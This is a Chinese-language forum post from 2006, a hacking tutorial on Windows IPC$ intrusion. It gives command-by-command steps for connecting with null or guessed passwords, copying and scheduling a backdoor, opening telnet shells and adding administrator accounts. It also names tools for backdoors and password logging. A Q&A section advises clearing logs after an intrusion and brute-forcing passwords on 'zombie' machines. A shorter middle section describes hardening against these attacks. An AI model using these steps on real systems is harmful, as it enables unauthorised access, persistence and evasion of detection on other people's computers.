查看單個文章
舊 2006-02-13, 12:57 AM   #2 (permalink)
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

十三 對比過去和現今的ipc$入侵
既然是對比,那麼我就先把過去的ipc$入侵步驟寫給大家,都是蠻傳統的步驟:

[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\用掃到的空密碼建立連接  

[2]
c:\>net view \\127.0.0.1
\\檢視遠端的共享資源

[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\將一次性後門srv.exe複製到對方的系統檔案夾下,前提是admin$開啟  

[4]
C:\>net time \\127.0.0.1
\\檢視遠端主機的當前時間

[5]
C:\>at \\127.0.0.1 時間 srv.exe
\\用at指令遠端執行srv.exe,需要對方開啟了''Task Scheduler''服務  

[6]
C:\>net time \\127.0.0.1
\\再次檢視當前時間來估算srv.exe是否已經執行,此步可以省略

[7]    
C:\>telnet 127.0.0.1 99
\\開一個新視窗,用telnet遠端登入到127.0.0.1從而獲得一個shell(不懂shell是什麼意思?那你就把它想像成遠端機器的控制權就好了,#作像DOS),99連接阜是srv.exe開的一次性後門的連接阜  

[8]
C:\WINNT\system32>net start telnet
\\我們在剛剛登入上的shell中啟動遠端機器的telnet服務,畢竟srv.exe是一次性的後門,我們需要一個長久的後門便於以後訪問,如果對方的telnet已經啟動,此步可省略

[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\在原來那個視窗中將ntlm.exe傳過去,ntlm.exe是用來更改telnet身份驗證的  

[10]
C:\WINNT\system32>ntlm.exe
\\在shell視窗中執行ntlm.exe,以後你就可以暢通無阻的telnet這台主機了
  
[11]
C:\>telnet 127.0.0.1 23
\\在新視窗中telnet到127.0.0.1,連接阜23可省略,這樣我們又獲得一個長期的後門

[12]
C:\WINNT\system32>net user 帳戶名 密碼 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帳戶名 /add
\\telnet上以後,你可以建立新帳戶,啟動guest,把任何帳戶加入管理員組等

好了,寫到這裡我似乎回到了2,3年前,那時的ipc$大家都是這麼用的,不過隨著新工具的出現,上面提到的一些工具和指令現在已經不常用到了,那就讓我們看看現在的高效而簡單的ipc$入侵吧。

[1]
p***ec.exe \\IP -u 管理員帳號 -p 密碼 cmd
\\用這個工具我們可以一步直接的獲得shell

OpenTelnet.exe \\server 管理員帳號 密碼 NTLM的認證方式 port
\\用它可以方便的更改telnet的驗證方式和連接阜,方便我們登入

[2]
已經沒有第二步了,用一步獲得shell之後,你做什麼都可以了,安後門可以用winshell,複製就用ca吧,開終端用3389.vbe,記錄密碼用win2kpass,總之好的工具不少,隨你選了,我就不多說了。


十四 如何防範ipc$入侵察看本機共享資源
執行-cmd-輸入net share
移除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續移除)

1 禁止空連接進行枚舉(此#作並不能阻止空連接的建立)

執行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:1
如果設定為"1",一個匿名用戶仍然可以連線到IPC$共享,但無法通過這種連接得到列舉SAM帳號和共享訊息的權限;在Windows 2000 中增加了"2",未取得匿名權的用戶將不能進行ipc$空連接。建議設定為1。如果上面所說的主鍵不存在,就新增一個再改鍵值。如果你覺得改註冊表麻煩,可以在本機安全性設定中設定此項: 在本機安全性設定-本機原則-安全性選項-''對匿名連接的額外限制''


2 禁止預設共享

1)察看本機共享資源
執行-cmd-輸入net share

2)移除共享(重新啟動後預設共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續移除)

3)停止server服務
net stop server /y (重新啟動後server服務會重新開啟)

4)禁止自動開啟預設共享(此#作並不能關閉ipc$共享)
執行-regedit

server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。

pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
這兩個鍵值在預設情況下在主機上是不存在的,需要自己手動增加,修改後重新啟動機器使設定生效。


3 關閉ipc$和預設共享依賴的服務:server服務
如果你真的想關閉ipc$共享,那就禁止server服務吧:
控制台-系統管理工具-服務-找到server服務(右擊)-內容-一般-啟動檔案類型-選已禁用,這時可能會有提示說:XXX服務也會關閉是否繼續,因為還有些次要的服務要依賴於server服務,不要管它。


4 遮閉139,445連接阜
由於沒有以上兩個連接阜的支持,是無法建立ipc$的,因此遮閉139,445連接阜同樣可以阻止ipc$入侵。

1)139連接阜可以通過禁止NBT來遮閉
本機連接-TCP/IT內容-進階-WINS-選『禁用TCP/IT上的NETBIOS』一項

2)445連接阜可以通過修改註冊表來遮閉
增加一個鍵值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完後重啟機器
注意:如果遮閉掉了以上兩個連接阜,你將無法用ipc$入侵別人。

3)安裝防火牆進行連接阜過濾


6 設定複雜密碼,防止通過ipc$窮舉出密碼,我覺得這才是最好的辦法,增強安全意識,比不停的打修正檔要安全的多。


十五 ipc$入侵問答精選
1.進行ipc$入侵的時候,會在伺服器中留下記錄,有什麼辦法可以不讓伺服器發現嗎?

答:留下記錄是一定的,你走後用清除日誌程序移除就可以了,或者用目標物入侵。


2.你看下面的情況是為什麼,可以連接但不能複製
net use \\***.***.***.***\ipc$ "密碼" /user:"用戶名"
指令成功
copy icmd.exe \\***.***.***.***\admin$
找不到網路路徑
指令不成功

答:像「找不到網路路徑」「找不到網路名」之類的問題,大多是因為你想要複製到的共用資料夾沒有開啟,所以在複製的時候會出現錯誤,你可以試著找找其他的共用資料夾。


3.如果對方開了IPC$,且能建立空連線,但開啟C、D碟時,都要求密碼,我知道是空連接沒有太多的權限,但沒別的辦法了嗎?

答:建議先用流光或者別的什麼掃瞄軟體試著猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。


4.我已經猜解到了管理員的密碼,且已經ipc$連接成功了,但net view \\ip發現它沒開預設共享,我該怎麼辦?

答:首先改正你的一個錯誤,用net view \\ip是無法看到預設共享的,你可以試著將文件複製到c$,d$看看,如果都不行,說明他關閉了預設共享,那你就用opentelnet.exe或p***ec.exe吧,用法上面有。


5.ipc$連接成功後,我用下面的指令建立了一個帳戶,卻發現這個帳戶在我自己的電腦上,這是怎麼回事?
net uset ccbirds /add

答:ipc$建立成功只能說明你與遠端主機建立了通信隧道,並不意味你取得了一個shell,只有在獲得一個shell(比如telnet)之後,你才能在遠端機器建立一個帳戶,否則你的#作只是在本機進行。


6.我已進入了一台肉機,用的管理員帳號,可以看他的系統時間,但是複製程序到他的電腦上卻不行,每次都提示「拒絕訪問,已複製0個文件」,是不是對方有什麼服務沒開,我該怎麼辦?

答:一般來說「拒絕訪問」都是權限不夠的結果,可能是你用的帳戶有問題,還有一種可能,如果你想向普通共用資料夾複製文件卻返回這個錯誤,說明這個資料夾設定的允許訪問用戶中不包括你(哪怕你是管理員),這一點我在上一期文章中分析了。


7.我用Win98能與對方建立ipc$連接嗎?

答:理論上不可以,要進行ipc$的#作,建議用win2000,用其他#作系統會帶來許多不必要的麻煩。


8.我用net use \\ip\ipc$ "" /user ""成功的建立了一個空會話,但用nbtstat -A IP 卻無法匯出用戶列表,這是為什麼?

答:空會話在預設的情況下是可以匯出用戶列表的,但如果管理員通過修改註冊表來禁止匯出列表,就會出現你所說的情況;還有可能是你自己的NBT沒有開啟,netstat指令是建立在NBT之上的。  


9.我建立ipc$連接的時候返回如下訊息:『提供的憑據與已存在的憑據集衝突』,怎麼回事?

答:哈哈,這說明你已經與目標主機建立了ipc$連接,兩個主機間同時建立兩個ipc$連接是不允許的。


10.我在映射的時候出現:
F:\>net use h: \\211.161.134.*\e$
系統發生 85 錯誤。
本機設備名已在使用中。這是怎麼回事?

答:你也太粗心了吧,這說明你有一個h盤了,映射到沒有的磁碟代號吧!


11.我建立了一個連接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但當我映射時出現了錯誤,向我要密碼,怎麼回事?
F:\>net use h: \\*.*.*.*\c$
密碼在 \\*.*.*.*\c$ 無效。
請按鍵輸入 \\*.*.*.*\c$ 的密碼:
系統發生 5 錯誤。
拒絕訪問。

答:哈哈,向你要密碼說明你當前使用的用戶權限不夠,不能映射C$這個預設共享,想辦法提升權限或者找管理員的弱密碼吧!預設共享一般是需要管理員權限的。


12.我用superscan掃到了一個開了139連接阜的主機,但為什麼不能空連接呢?

答:你混淆了ipc$與139的關係,能進行ipc$連接的主機一定開了139或445連接阜,但開這兩個連接阜的主機可不一定能空連接,因為對方可以關閉ipc$共享.


13.我門區域網路裡的機器大多都是xp,我用流光掃瞄到幾個administrator帳號密碼是空,而且可以連接,但不能複製東西,說錯誤5。請問為什麼?

答:xp的安全性要高一些,在安全原則的預設設定中,對本機帳戶的網路登入進行身份驗證的時候,預設為來賓權限,即使你用管理員遠端登入,也只具有來賓權限,因此你複製文件,當然是錯誤5:權限不夠。


14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出現請按鍵輸入 \\192.168.0.2 的密碼,怎麼回事情呢?我用的可是管理員呀?應該什麼都可以訪問呀?

答:雖然你具有管理員權限,但管理員在設定c碟共享權限時(注意:普通共享可以設定訪問權限,而預設共享則不能)可能並未設定允許administrator訪問,所以會出現上述問題。


15.如果自己的機器禁止了ipc$, 是不是還可以用ipc$連接別的機器?如果禁止server服務呢?

答:禁止以上兩項仍可以發起ipc$連接,不過這種問題自己動手試驗會更好。


16.能告訴我下面的兩個錯誤產生的原因嗎?
c:\>net time \\61.225.*.*
系統發生 5 錯誤。
拒絕訪問。

c:\>net view \\61.225.*.*
系統發生 5 錯誤。
拒絕訪問。

答:起初遇到這個問題的時候我也很納悶,錯誤5表示權限不夠,可是連空會話的權限都可以完成上面的兩個指令,他為什麼不行呢?難道是他沒建立連接?後來那個粗心的同志告訴我的確是這樣,他忘記了自己已經刪了ipc$連接,之後他又輸入了上面那兩個指令,隨 之發生了錯誤5。


17.您看看這是怎麼回事?
F:\>net time
找不到時間伺服器。
請按鍵輸入 NET HELPMSG 3912 以獲得更多的說明 。

答:答案很簡單,你的指令錯了,應該是net time \\ip
沒輸入ip位址,當然找不到伺服器。view的指令也應該有ip位址,即:net view \\ip
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次